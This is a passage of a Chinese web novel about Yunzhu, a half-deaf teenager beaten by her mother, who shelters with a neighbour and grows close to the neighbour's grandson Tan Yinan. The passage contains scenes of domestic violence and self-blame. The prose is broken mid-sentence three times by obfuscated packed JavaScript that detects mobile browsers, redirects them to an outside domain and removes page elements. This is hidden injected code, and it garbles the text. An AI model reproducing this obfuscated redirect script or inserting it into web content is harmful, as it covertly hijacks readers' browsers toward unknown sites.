为什么整日还是一副忧愁的样子?不是说钱包治百病吗?一个一个泡泡似的想法在云竹大脑产出,可能是她不理解有钱人的生活,不理解有钱人的烦恼吧。因为云竹一家本身就生活在社会底层。 谭以南这次还会在王婆婆家里吗? 如果在的话—— 耳边苏琦的辱骂声掠过,云竹睁开眼睛。 她还能躲在王婆婆家吗? 这个答案在苏琦拿起桌子上的空矿泉水瓶往云竹身上砸时,便有了答案。 “我说你期末考试考砸啊,原来就是等着跟外面的小黄毛分到同一个班啊?老娘打不死你!我辛辛苦苦挣钱受罪,你都不知道我吃了多大的苦头!” “你弟弟怎么办?他还在你爸那边呢!见不到亲妈怎么办?你成天不安一点好心,是不是想害死我?” 云竹待在墙角,默不作声,两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981398|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手抵在身前作防御状。她向来逆来顺受,小时候挨打打出反野心理,偷偷摸摸报了警。 长远的记忆铺到现在长河,卷轴上碎片明明暗暗,模糊不清,她已经记不起当时是怎么个乱法了,只记得她躲在衣柜里,看着妈妈给人开了门,穿着制服的警察叔叔问了她几个问题,具体问的什么,云竹脑子里一点印象也没有,像是凭空消失了。 接着苏琦开始朝警察跪下,马上有人扶她起来。但苏琦就赖在地上大哭大声吆喝,那音量连急得连助听器掉在衣柜缝里的云竹,用右耳也听得聒噪——后面云竹也是浑身青青紫紫地在家到处寻找,才找到这个助听器。 这件事不了了之了。 换得一时脱身的后果,是更加残暴的殴打和言语攻击。 和现在的情况别无一二。 “你那个小黄毛对象叫什么?我现在去报警,不对,是你勾|引人家的吧,不然人家为什么不找别人偏偏找你?说话!” “我没有。”云竹坚决地摇摇头。在这样贫苦的家庭环境下,她仍然有稳定的心态,换位思考想一想,这十几年来,妈妈也不容易,离婚后便丢了工作,一路带着她来到红星小镇,好不容易找了份工作,又被骗了钱。 这么一看,好像就她自己没用,没有抗拒挨打的资格。 她是这个家的吸血虫。云竹极端的想法再次被刺激到,她往后缩了缩身子,试图将整个人钻进墙缝里。 “你脑子是有病吗?耳朵聋了眼睛也瞎了是不是?你们班主任都把违纪通报发到群里,你怎么解释?”苏琦气得脸发紫,一脚踹翻塑料折叠桌,桌上吃剩下的饭盒和饮料瓶咣当几声落地,酒瓶子咕噜噜滚到云竹脚边,她没看清楚,正好被绊倒在地。 “通报错了,我的校服被风吹到后院了,我去捡……” “认错也没有个态度!找什么借口!”苏琦抄起地上摔碎的酒瓶子,往云竹胳膊上扔去,后者被堵在死角,躲避还来不及,左胳膊上顿时划出了几道血印子,嘶嘶往外冒着血珠。 云竹疼得牙齿颤抖,眼泪从眼尾滴下,泪水和地上的酒液混在一起。 无力反抗,反抗了甚至会带来更恐怖更凶残的报复,还不如一时服软,云竹这样想,她第一次后悔和妈妈顶嘴。 真没用,她真没用。也后悔自己的出生,当年判离婚时,妈妈讲她带走,那时候天真懵懂的云竹还会想,妈妈真好,妈妈主动将她带走。爸爸不要她,爸爸坏。 但往后的日子……不,更准确的说,往后吃过的艰辛真真切切告诉云竹,这并不是一个很好的选择,和幸福生活相比,完全一个天上一个地下。不过那时她连离婚都不知道是什么意思,只知道爸爸妈妈要分开了,或许是因为妈妈做的饭菜不好吃惹爸爸生气,也或许是爸爸夜不归宿惹妈妈生气。 两个人吵架,暂时要离开,没准过几天就好了,一切都能像往常一样。 年仅九岁的云竹根本不清楚这其中本质,不知道概念。 助听器到现在还没有找到,云竹颓废地坐在凳子上,双目无光,毫无生气,她在无数个日日夜夜,躺在床上盖着发潮的棉被,脑子里时不时诞生荒诞的想法。 比如,她是不是真的很没用,要是她早点长大,这时候就可以外出打工,帮妈妈承担点经济压力,极有可能母女之间的关系会缓和一些,起码不像如仇人般见面拳打脚踢。 再比如,要是她不出生在这世界上就好了……反正也不是完完整整的健康的人,左耳失聪,听不到任何声音,只能靠右耳朵,这给生活上带来了很大的困难。从幼儿园开始,有同学知道她的身体毛病,还用手指着她嘲笑,大声拍手叫道:“聋子!聋子!” 那时候连字都认不全、拼音还没有学会的小云竹,只会愣愣地站在原地,眼神迷茫地看着两三个男生指着她哈哈大笑。 童言无忌是最伤人的,往往杀人于无形。 * 生活在童年里的小孩子,最终还是脱离了幸福,去触摸外界荆棘的尖刺。 王婆婆问她:“云竹丫头,你怎么不哭?难受的话,哭出来就好了,别长时间憋在心里,时间长了会生病。” 程慕也跟她说:“云竹,难过不开心的时候多了去了,总要哭一哭发泄情绪,成天压在心里,会得抑郁症,影响学习,这个病吃药可难治了,很难药到病除,必须自己好。” 云竹是怎么回答的? 7. Chapter 7 云竹还记得当时的回答。 她说,我哭不出来,眼泪早就流干了。 王婆婆年纪大了,没听懂她在说什么,又问她:“咋会流干呢?眼睛里没水,眼珠子会干涩吧。” 云竹听后也只是无力地扯唇角笑笑,不语。距离苏琦出去工作已经又是一天了,新的一天,新的气象,至于这气象对她来说是好是坏,那就不得而知。 王婆婆是谭以南的姥姥。 云竹今天又躲在她家里,帮忙干活。王婆婆见到云竹左胳膊上的血迹,连忙摆摆手,让她坐在沙发上休息。第一次蹭饭到人家家里,什么也没干,这次再什么都不干,云竹心里也过意不去,执意要干,王婆婆拗不过她,就让云竹干轻活。 云竹按照王婆婆说的,去阳台上给长春花浇浇水。左手臂不能使力气,那就用右手,她单手拿花卉专用喷壶去接了点自来水,不急不忙地走到阳台。 王婆婆信奉宗|教,阳台最右边放的有神龛,一座观音菩萨像位于神龛正中央,各种祭品围绕菩萨像摆成一圈,庄严无比。云竹见状,放下手中的喷壶,两三步走到菩萨像前,下跪祭拜磕三头。 软金柔光给云竹乌黑的头发洒了一层亮色,越发衬得她巴掌大的脸白皙,皮肤细嫩,但隐隐约约可见身体上没有一处是好的,伤疤常见。好在青少年新陈代谢旺盛,长着长着,疤痕也淡去了许多。 双手合十,云竹心里想了又想,求家里发财过于不现实,求财求姻缘求学业的人那么多,最终还得靠自己努力自己本事才行。 让妈妈身体健康?但妈妈的作息规律和应酬喝酒的频率来看,再健康的身体也扛不住这样的衰退。 ……别的,好像没有。 云竹双眼紧闭,过了不久后又睁开,瞳孔中倒映观音菩萨像的慈祥面孔。 她忽然有了念头。 那就祝,菩萨天天开心吧。 虔诚跪拜,长跪三磕。 云竹起身,接着给王婆婆剩下的盆栽浇水。王婆婆种的植物品种数不胜数,有的长得稀奇古怪的植物她还叫不上来名字,只记得长春花、金边吊兰、月季花、紫罗兰、石竹花、绿萝等等。 一汪清凉水滴在红色的饱满花苞上。 王婆婆厨艺不错,端着两碗酱香拌面搁到客厅的小木桌上,头顶发黄的风扇吱呀吱呀地转动,云竹的头发被吹得摇摇晃晃。 “云竹丫头,最近在学校怎么样?”王婆婆率先开口。 云竹双手结果王婆婆递过来的筷子,“还好。”不管王婆婆问她什么,都说还好,正能量积极向上地回复,婆婆一大把年纪了,还是别让她操心。 有时候云竹就很奇怪,明明有血缘关系的母亲对她不管不问,仅仅是相处几年的人便对她呵护有加。 可能这就是命运的荒诞吧。云竹低下头,用筷子夹着吃面。左手臂上的伤缠了干净的布料,这里没有小诊所,又离医院太远,不至于顶着个大太阳跑去,只好用王婆婆家里的布暂时止住血,反正能好就行。 落不落疤都没关系。 “真的?别看我老了,说没说谎我还是能看出来。”王婆婆呵呵一笑,又去厨房端了一碗热气腾腾的面汤。 婆婆家里的碗筷都是旧的,上了年代的陶瓷花碗,筷头纹的有花样的木质筷子,云竹看到后眼睛亮晶晶的,总比在自己家里拿着地上的一次性筷子的感觉好很多。 “真的,没骗您。” “那等南南回来我问问他。” 云竹抬头看向大门,“谭以南没回来吗?” 王婆婆:“没呢,他很少回来。” 真是奇了怪了,外地人,在这里没有家,只能待在姥姥这边。但是几个小时了也不见踪影,谭以南还能去哪? 心中藏起来的疑问悄悄冒出来,云竹又暗暗往下压,涉及别人隐私的事情还是不要瞎问的好。 云竹:“他今天能回来吗?” 王婆婆吃了口面:“能把,谁也说不准,这孩子,脾气犟。” 王婆婆又把话题中心抛给她,“云竹丫头,婆婆知道你长大了,有主见,但还是要跟你讲一讲,你妈妈对你不好,你随时可以来这里躲着,你妈妈上门,我去跟她说!我就见不得你这软绵绵的小女孩被欺负,一见到你这样我就想起你孙女,唉。” 人一单提起往事,便没完没了,惹人烦。云竹却不这样认为,那些不为人知的过往,从嘴巴里吐露出来,讲出来,才能把经年积压的情绪消散了。云竹用完这话后默不作声,双手微微抓紧了衣角,她实在这个时候不知道该说什么好,从小到大她都是这么过来的。 受到欺负,没有人哄;半夜整个人裹在湿漉漉的被子里,蒙着头哭泣,照样没人哄。哭久哭够了,奔涌上来的情绪便渐渐恢复平静,只剩下满脸干涸的泪水,那时候已经不想哭了。 等到谭以南推门而入回来时,王婆婆已经把他的汤面条做好放在桌子上。云竹已经吃饱,把碗筷送进厨房水池子下,用自来水泡着,这样汤汁不会干涸,王婆婆刷碗也刷的干净。 端起热气腾腾的面汤,云竹小口小口喝着,斜着眼看谭以南。 这回他晚归,什么事情也没有发生,不知道这样安生的日子能活多久。 谭以南二话不说,也没嫌弃桌子上擦不掉的油污,直接端起碗吃面。王婆婆笑呵呵地看他,眼尾处的皱纹堆积在一起。 许是气氛太无趣,王婆婆先开口:“云竹丫头,我刚刚看你去阳台的菩萨像那里,是去擦神龛吗?好几个月没有擦了,时间过得太快,我也忘了上一次打扫是什么时候的事情了。” 云竹放下碗,衣袖沾沾唇边,“没有,我是去拜了拜菩萨像。” 王婆婆来了兴趣,说:“小姑娘家家,多去寺庙里这些静心的地方走动走动,拜拜佛像求个平安,你祈的什么?” 云竹静候片刻,心里纠结着要不要说出口,什么愿望也没有许,这样说出来会不会太傻气了?算了,傻气就傻气吧,她也不是个坏人。 “我许的菩萨天天开心。”云竹小声说。 旁边坐着的谭以南轻笑出声。 云竹预料到这种结果,但还是讲出来:“你笑什么?” 谭以南不回答。 云竹也不好和他置气,一方面是寄人篱下,没必要旁生枝节和王婆婆家的外孙生气,另一方面是她也不是好惹事的那种人。 王婆婆过来打圆场:“他啊,是笑你天真无邪,有爱心呢。” 谭以南这时开口:“不是。” 云竹怔然:“那你笑什么?” 谭以南:“笑你傻里傻气。” 云竹不乐意了,明面上没有摆脸色,但内心还是暗暗抽搐着,似乎要泛出一股酸涩,不理谭以南。 谭以南见状,开口解释:“不求财,不求学业,不求姻缘,不求健康。” 云竹点点头,他说的确实,这些世俗的愿望她一个也没求。 “人拜众神,毕生所求,你长跪祈愿,为他人所求,那你什么时候想到为自己而求?” 云竹愣怔,这她还真没有想到。 “简而言之,社会化程度低。凡事总是想着别人,自己容易吃亏。别被老一辈的思想束缚,吃亏可不是福了,而是找罪受。”谭以南徐徐讲述,不急不慢地将碗里的豆腐皮挑出去。 云竹尝试反驳,但无从下口,他说的有道理,但无他法。云竹也不清楚自己的思想为什么和别人不一样,完完全全的利他主义,换位思考一下,按谭以南的说法,她好像一直以来都在吃亏。 话题结束,谭以南静静地将挑出来的豆腐皮放在一边。 王婆婆:“坏了,真是老了,记不清了,连南南不喜欢吃豆腐皮给忘了,你等着,我再去给你下一碗。” 谭以南:“不用了,姥姥。你去休息吧。” 王婆婆去休息后,整个客厅就只剩下云竹和谭以南两个人。云竹又不知如何是好,尴尬地坐在沙发上,继续坐着也不是,起身离开也不是,只好低着头盯着谭以南的饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981399|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗。 “没吃饱?”谭以南觉察。 “不不……”云竹急忙摇头。 气氛又安静下来,云竹尴尬到全身发麻。在班里也是如此,内向的人主动提起话题的概率为零,更何况是云竹这样早期没有朋友、上下学都是独来独往的人。 憋了好一会,云竹从沙发的另一边过道出去,翻开帆布包,掏出数学课本,再翻出来学校发的牛皮纸封面的练习本,开始写作业。 红星中学是本县最好的高中,当年云竹是踩线录取,刚开始还是随机分班,成绩能跟得上去。后来妈妈耍酒疯越来越严重,伴随着家庭暴力欺凌,云竹的学习成绩渐渐下滑。 她不是没有做过补救措施,因为在这个人口大省,这个教育资源很差劲的小县城里,和大人们口口相传的一样,只有学习才是最好的出路。云竹努力在数学课上集中注意力,但越集中,拥有血缘关系的妈妈的叫骂声循环播放在耳畔,云竹越崩溃。期末考试考砸也有这一部分的原因。 下学期开学,听不进去上课内容也是常事,云竹一度怀疑自己脑子是不是出了问题,很多题都不会做。 好巧不巧,作为文科生,第一本掏出的就是数学作业。又偏偏不好当着谭以南的面塞回去,他会笑话我的吧?硬着头皮写下去也不是不行,但只会一些基础题,课本上的练习题有的也很难,解题步骤也要一大堆…… 云竹心里直打鼓,一根天秤在脑海里摇摆不动。 好在谭以南并没有注意到这边的动静,吃完饭就把碗筷送进厨房,下一秒传来水龙头的流水哗哗声。声音太小,云竹没听到,等到一分钟后没见人出来,便站起身往厨房走去。 云竹放慢脚步声,踩在米蓝色瓷砖上,王婆婆家的厨房和客厅卧室同样一款风格。具有年代感的红木桌子上铺了一层旧报纸,连厨房的墙上也是用面糊水泥糊了一层报纸和塑料膜,经年炒菜做饭,不少墙面上飞溅的油点子和辣椒油是时光的证明。 水龙头尾部锈了一圈,头口水源潺潺,晶莹水流流淌在瓷碗的油渍边缘,手指纤长素白,在水帘中拿着钢丝球不断摩挲。 从窗户口边透出来的光影悄悄落在谭以南身上,身影浮了一层淡淡的光晕。 ……他太瘦了。 这是云竹见到他的第一想法。 视线从覆盖在碗边缘的指节上掠过,想不到谭以南这种娇生惯养的小少爷,还会亲自下厨房洗碗。看来他和王婆婆感情真好,怪不得会突然来这小县城生活。 随后云竹想起自己的身份,她是客,王婆婆和谭以南是主家。不对……她的注意力又集中在谭以南的手腕上。 青青紫紫的,很像被打伤的痕迹。 洗碗时甚至衣袖没有挽起,这样不会弄湿吗? 云竹愣在原地,不禁继续想:难道他来到这里,也是为了躲避父母的殴打吗?他的父母对他也很不好吗? 怪不得,怪不得不会看不起她,原来是同病相怜。 “你可以穿上王婆婆的围腰,水花会溅到你衣服上的,会脏。”云竹提醒了句,谭以南头一次来姥姥家,不清楚厨房用具的摆放位置也正常。 “那就脏吧。”谭以南简单回应,连回头看她一眼都没有,像是提前知道了云竹会来到这里一般。 “那……”云竹欲言又止,既然谭以南会下厨房洗碗,说不定连自己洗衣服也会,这些纯纯是以她的生活环境来窥视有钱人生活的刻板印象罢了,而现在遇到了谭以南,这些刻板印象一个个被打破,“那你洗完以后,是不是又要走了?” “你不想让我走。” 语气很淡,连句末是反问还是陈述都没有听出来。 水声作响,完美地遮掩住谭以南的声音,云竹没听全,只隐隐约约听清楚了前面几个字眼,她犯了难,不知道该如何回答,又不好意思让他再说一次。 “我不想让你走。” 云竹思量许久,最终将内心的想法说出来。 洗碗的声音停下。 8.Chapter 8 客厅。 正值下午五点钟,从卧室斜照进来的霞光映在天花板上的风扇,扇叶通电极速旋转,将明黄色光束斩断,留下来斑驳陆离的落日光晕。 谭以南用卫生纸细细擦拭着湿了水的手指关节,他没抬头,话却是对着云竹说的:“我这个人,对你产生了什么意义吗?” 云竹屏住呼吸。 客观上来讲,谭以南这个人相处起来是真的矛盾,说他好相处,的确不会咋咋呼呼惹人烦,会给所有人保持距离,保留隐私空间,但是说他不好相处吧…… 云竹视线下移。 有时候这个人抛出的问题,怪难回答。 谭以南以为她没听清,又走近了几步,云竹甚至能感受到他整个人身上传来的热量,不禁往后退几步。 “为什么想让我留下来?” 云竹思考很久,“那你能到哪里去?” “这和你没有多大关系。”谭以南谈起这个,收敛了外露的情绪。 提起有关他的问题,向而闭口不谈。 见谭以南抬步而去,云竹以为他又要离开,可这马上天黑了,他一个人又能去哪里?更为心寒的是,苏琦再过一个小时就要回家了,心中的恐慌像是被放大镜放大了十倍,纵使表面毫无波澜,心中总是有一根刺大喇喇地扎住。 “那、那你……”云竹磕磕绊绊,她目前处于第一个问题提出失败,又转在下一个问题的思考过程之间,眉头轻蹙,眼神飘忽不定向四周看去,唯独不直视谭以南。 谭以南站在她面前,静静地听她说完。 “那你能帮我讲一道数学题吗?我这个科目不太好……”云竹脸颊发热,目光钉在某一处地板上。 撒谎技术是真不太好,第一次撒谎被谭以南识破,这次云竹连头都没敢抬起来,因为打心眼里知道脸颊发红发热,很容易被看出来端倪。 话音刚落,云竹才意识到说错了嘴。也对,谭以南每天请假,极少见他来学,连班里著名的消息通程慕也说,这人一周能来两三天,见上一两面就不错了,哪里来的时间在校学习?问他数学题还不如问别人,这无疑是给她和谭以南一个不好的台阶卡着,难上也难下。 “数学?数学你很差吗?”谭以南倒是没想到云竹会突然提起学习上的事情,他们学校里成绩最差的普通班,每天的生活大部分是吃吃睡睡混日子,只有因为考砸而被分到这个班的、极少个别的好学生在努力学习。 “嗯……”云竹点点头,“你会吗?” 谭以南沉思片刻,“会。” 谭以南接过云竹刚刚放在桌子上的按动笔,谭以南随便抽了一张演草纸,看了一眼题目,将函数的解题思路写下来,顺便在一旁写下相关的知识点。 云竹坐在沙发一旁静静地听着,她不知道原因,一旦和谭以南近距离相处,她便头脑发热,脸颊发热,脑子嗡嗡作响,心脏跳动的声音直贯耳膜。更严重的情况无非是对方说出来的长句子,脑子里信息处理也反应不过来。 这是什么情况?和程慕、海湖坐在一起时,这些像是生病了的症状一点也不见,难不成是真的生病了?那她要好好攒钱,趁着没有病到无药可医时就医。 “听懂了吗?没听懂我给你再讲一遍。”谭以南放下按动笔,双手撑着桌子,脸却朝着云竹的方向看去,直勾勾地注视云竹的眼睛。他这人还是没有什么表情,不知道的以为是相貌好看的面瘫。 而云竹呢?她根本没有听。严谨点说是听了也听不懂,云竹状态不佳,讲解思路从右耳朵进去,还没有来得及笑话变消失殆尽,怎么会这样?而她也不好意思说没听懂,只得紧张地点点头,道了谢。 “那我以后还能找你问数学题吗?”云竹拿起搁在桌子上的、他刚刚用过的按动笔,笔杆上残留他的余温。云竹内心居然升起一点小小的雀跃。 谭以南“嗯”了一声,转身就走,云竹还想再叫住,但她的脑子里已经没有多余的借口来留住他了。 晚上七点,苏琦跟云竹打电话说,说家里今晚要来客人,让她回家去床底下拿几块钱,下楼买几罐青岛啤酒,又命令云竹今晚别回家,滚外面待着,敢敲门明天就打断她的腿。 看似残忍的通知,实际上这对于云竹来说是一个好消息。 妈妈每晚上都要喝酒,喝酒后耍酒疯是常事,云竹力气小,经常把持不住妈妈发疯摔酒瓶子骂人等等一系列行为。今晚有客人在家里住,不知道妈妈会不会对客人发脾气,但总之云竹不会受到任何一点伤害。 今晚不用回家,意味着可以在王婆婆家称心如意住一晚上,平常仅仅是蹭饭,但多住一晚上,云竹心里还是过意不去,执意要给王婆婆打扫屋子。 当王婆婆问起这个事情时,云竹一五一十告诉了妈妈的原话,语气说不出的兴奋,连眼底也渐渐生出了一点光芒。 王婆婆脸色沉默了一瞬,又掀开眼皮看着云竹,喃喃说道:“云竹丫头,我不清楚该不该告诉你,你去学那几天,我晚上买菜时看到好多次……”话语中断,她看云竹那样子应该是没听到,又挤出一抹笑,声音大了点,回答说:“好,那你今晚就住在婆婆家里,陪着婆婆做个伴,好闺女。” 云竹笑了,细眉弯弯,唇角扬起一个月牙的弧度。她火速跑去家里,按照妈妈说的,果然在床底下掏出了几个钢镚,下楼去二十四小时便利店买啤酒。 夏季落日本就短暂,云竹还是赶上了好时刻。橙红落日于两栋筒子楼之间缓缓降落,余晖向四面八方挥散开来,整个红星小镇在这几分钟名副其实变成了“红星”。 云竹所处于的世界满是金红辉煌,不留一丝缝隙,脚下的野草嫩叶的叶面上镀了一层浅金薄纱。 “您好。”云竹从口袋里捞啊捞,捞出来几个宝贵的钢镚,她问了问啤酒单价,“要三罐啤酒,冰的。”妈妈爱喝冰镇饮料。 “好。”便利店店员说道。 端着三罐冰镇啤酒,冰凉的温度贴着皮肤,云竹倒吸一口凉气,蹦蹦跳跳回家去,就在经过一条马路时,他看到熟悉的身影伫立在街角落,手里拎着红塑料袋。 好奇怪。 好奇怪的人。 云竹恰好要等红绿灯,站在人行道上,在她这个角度只能看到高个子的背影,她向熟悉的背影遥遥望去。绿灯亮起,云竹走过去,恰好站在路边的高个男生在此时觉察到了身上游走的视线,偏了一下头,似乎不想让人瞧见。 可偏偏移动的方向这是对着云竹,在那一刻,云竹彻底看清了他的脸。 ——那是谭以南,正在用卫生纸堵住鼻子。 而他手里不是红塑料袋,而是用累计用过的纸巾在袋子上渗出的血迹。 云竹倏然顿住脚步,冰啤酒的低温从皮肤蔓延至血肉,连同心脏的温度也急剧下降。 谭以南……居然是他,流鼻血止不住,怎么多成这样?是上火太严重了吗?要不要去帮帮他?但是身上也没有带卫生纸,他好像手里也有足够的纸量……特意跑出来,这个血量……应该是不想让王婆婆担心吧? 不想让人担心,那这个时候还是别去打扰谭以南了,任谁谁都不想让别人看到自己狼狈的样子。 云竹纵生疑惑万千,还是皱着眉头上楼,一路回到自己家。按照妈妈的指令,在桌子上摆好冰镇啤酒,又回到王婆婆家,焦急的转悠着,又一猛地坐在沙发上,掏出手机搜夏季流鼻血流太多是怎么回事,百度上给的答案千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984128|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇百怪,不过好在很多人都说是季节性问题,天干容易上火,多注意一点就行。 云竹这才安了心。 王婆婆看她不太对劲:“咋啦云竹丫头?是你妈妈又给你打电话了吗?” 云竹听得不大清楚,挠挠头。 王婆婆见状又重复了一遍。 云竹摇摇头,她忽然想起助听器这件事,“没有,我在努力攒钱,买新的助听器。” “还没有找到吗?小孩子贪玩忘性大,没准放到书包里或家里某个角落去了。” “没有,全部找了一遍,还是没有。”云竹再次摇摇头,她也没有脸皮向王婆婆借钱,十分庆幸右耳还能听到声音,这些日子已经习惯。如果两只耳朵都听不见,那没有助听器的日子可谓是难上加难。 谈起这个,云竹掏出手机,这个时间点学校已经放学了,推磨着,程慕也差不多到寝室。作为整个学校里最差的普通班,带违禁品进学校也不是什么稀罕事情,很快程慕给她发了好多消息,全是这一天内发生的事情,稀里呼噜不管逻辑,说到哪里就是哪里。云竹觉得也挺好的,交到这样的朋友也是一件美事,因为有人愿意和她主动说话。 程慕:【我靠你知不知道?我今天抢到了我偶像的新海报!!超级帅哈哈哈哈哈哈哈哈!英语课上我又睡着了,幸好海湖提前把我叫醒了,不然又被通报违纪,那只能和你一起回家,不过这样也ok,陪你待在一起。】 程慕:【你不在学校的第一天,想你。我同桌和后桌全都回家了。】 都是一些丝毫没有有效信息的口水话,云竹还是认认真真从头看到尾,并一条一条给予回复,在这种时候,程慕总是会发一条“云竹我爱死你了!你总是不嫌我唠叨不嫌弃我烦!哈哈哈!!”的消息。 这个年纪,本应该是无忧无虑,像春草,像野风,犯了错不用担心,明天会是新的一天;考砸了不必忧虑,下一次谷底反弹;失意了不必内耗,人生容错无限包容。 该吃吃,该喝喝,去做自己最想做的事情,去做一心回追求的事情。云竹记得踏入红星中学的那一刻起,人生轨迹便不一样了,她会在放学路上看到成群结队的女生去店里买明星海报,看到街上有两三个学生蹲下来喂流浪小狗小猫,看到女生们约好一起去买花花姑娘的日记本便签本,装进书包里开怀大笑。 所有的所有,全是云竹所羡慕的。 程慕喜欢目前经典的男歌手,但云竹不了解林俊杰,也不了解周杰伦,只认识这两个人的名字。爸爸赠予的破旧手机上,播放音乐会卡顿,因此云竹基本上不怎么听音乐。更多的时间在外面用手机拍花坛中的月季花,地砖缝隙里的野草,乃至于天上漂浮的厚重云层,天光破云而出时,无法用言语形容,这时,云竹便会用手机拍下来。 这是她生活中的一小部分,极少的,安逸的日子。 程慕再次发消息:【对了云竹,我还想拜托你一件事情,不知道怎么还和你讲,我听说你和谭以南住同一栋楼房,所以这件事可能需要麻烦你帮帮忙。】 之前从开始云竹很不好意思拜托程慕,这回程慕好不容易有了需要,云竹想都没想便打字同意:【好的,什么忙?】 程慕:【你知道的嘛,咱们组长楚彩不是管收发作业的吗?她人挺好的,上一次咱俩中午作业没写完还是让她帮忙瞒过去的。】 云竹到这里还没有看明白是什么需求,但心脏里的血管却砰砰直跳,直觉告诉她,这个任务需要她的胆量和消失已久的勇气。 屏保破碎的手机弹窗继续发来新消息:【楚彩对那个谭以南有好感来着,在班级群里没找到他的个人微信,想让你帮忙问问谭以南的联系方式,你看这成吗?】 9.Chapter 9 到那一刻,云竹完全听不到自己的心跳声。她词汇量匮乏,完全不知道此时此刻应该用什么样的句子和成语来形容这一瞬间的感觉。好似全身被冻在冷库里,心脏是凉的,血液是冰冷的,头脑却是热得爆炸。 程慕:【我知道你的性格有点……哎呀怎么说吧,这件事情对你来说挑战很大,让你主动去要男生的联系方式,但是我们在楚彩那边收到过不少好处,毕竟是组长啊,不敢挑战官威。】 程慕:【你要是做不到就直接跟我拒绝吧,我跟楚彩说一下原因,她人很好,一定会理解你的。】 然而云竹还卡壳在自己恍然世界里未缓过来。 要谁的联系方式?谭以南吗?去要,可是他这个人真的会给吗?不对不对……现在考虑的不是这个,怎么开口是个问题?或许让我憋死在这里也不会说出口。唉,这真是个难题。 云竹萌生出拒绝的想法,下一秒就被另一个念头所击溃。她拒绝不了,她从来没有拒绝过别人的请求。很难开口。况且,如果是陌生人的请求,她或许坚持一下商量拒绝,但毫无疑问的是,这次是楚彩和程慕。 无论是谁都不好拒绝,尤其是看在程慕的面子上,云竹上了高中一有什么困难,程慕总是第一个上去帮她,可谓是热心助人新时代好人。欠的人情洋洋洒洒,没完没了,每一次受到帮助云竹都会羞愧地低下头,无以为报的心理总是会让她处于下风。 云竹最终还是敲下了那几个字:【好的。】 程慕火速又发来新消息:【我靠那真的太好了!我还以为你会拒绝呢!你不发消息那一会,我还在想怎么和楚彩说原因。你能同意真的太好了,而且我跟你说,你这个别扭的性格,到社会上容易吃亏吃闷头,应该多出去交点朋友,练练胆子,不要成天缩在壳子里,对身心发育不健康。】 程慕外号老妈子,唠唠叨叨简直是毫无血缘关系的亲妈:【那我就跟楚彩说了啊,微信上发语音不太行,容易被查寝老师抓到,等下周吧,下周你返校后我们在课间一起和楚彩商量!面对面说的通!效率高!】 云竹想起通报那件事,【年级主任通报的是我和他早恋,这个楚彩怎么说?】 程慕发了个表情包:【哎呀这些她都知道,她就在你隔壁寝室,你去寝室后院时,我估计她就在后面看着呢,放心吧没事,不会误会的。如果真的误会,那楚彩肯定不会找到你帮忙了。】 云竹放下手机,指尖悬空在手机键盘上方,僵住了般。 楚彩一直看着的吗?云竹背后泛起一股冷意,这让她不禁想起童年时爸爸对她的监视,每当她一个在房间里写作业时,卧室门总是会偷偷摸摸留出一条缝隙,要是写作业走神,偷懒,爸爸总是会悄无声息地走到她身后,严肃地教导她,典型的给个巴掌再来颗甜枣的教育方式。这种被人监视的感觉真的不好受。 ……又想偏了,爸爸已经很久没有见到她了,严谨点说,是已经好久好久没有再见面了,她不清楚为什么爸爸对于自己的亲生孩子如此绝情,甚至分离的这几年连电话都没有打过来一个。 云竹恍惚地想着,世界上大多数小朋友们拥有的爱,来自父母的爱,朋友的爱,她仅仅拥有一点友情。 一周停课回家反思的时间过得极快,云竹翌日回到家里,苏琦心情罕见得好,好到什么地步呢?居然给云竹主动做了早饭,这可是云竹拥有记忆的开始,从未有过的经历。 云竹觉得这不真实,是不是有什么陌生人来冒充了她的妈妈?还是妈妈中邪了?太阳打西边出来了? 今后的日子里,云竹确确实实在观察日出的方向,一切如往常。但睡眠质量都不太好,半夜醒来是常有的事情,不足为见。于是云竹醒来后便坐在床上,抬头看向窗外挂在虬枝边的圆月,记录每天晚上的月亮,是满月,还是半月,就这样,云竹的作业本上,陆陆续续记满了月出时间和日出时间,数字旁还记了一两句话的感想。 前些天谭以南回来时,脸是干净的,长袖子、上衣下摆毫无意外地红了一大片,极其骇人。 王婆婆当场就哭出来了,放下手里的玻璃杯子,颤抖着说:“南南这血是怎么回事?怎么这么多血?你说话啊!” 而谭以南如同局外人般,说道:“找人打了一架。” 王婆婆依依不饶:“那那那血是怎么回事?好外孙你不要吓姥姥好不好?啊?年纪大了经不住吓……” 谭以南打断:“不是我的血,是街边混子没事找事,朝我勒索钱,已经被我打趴下了。” 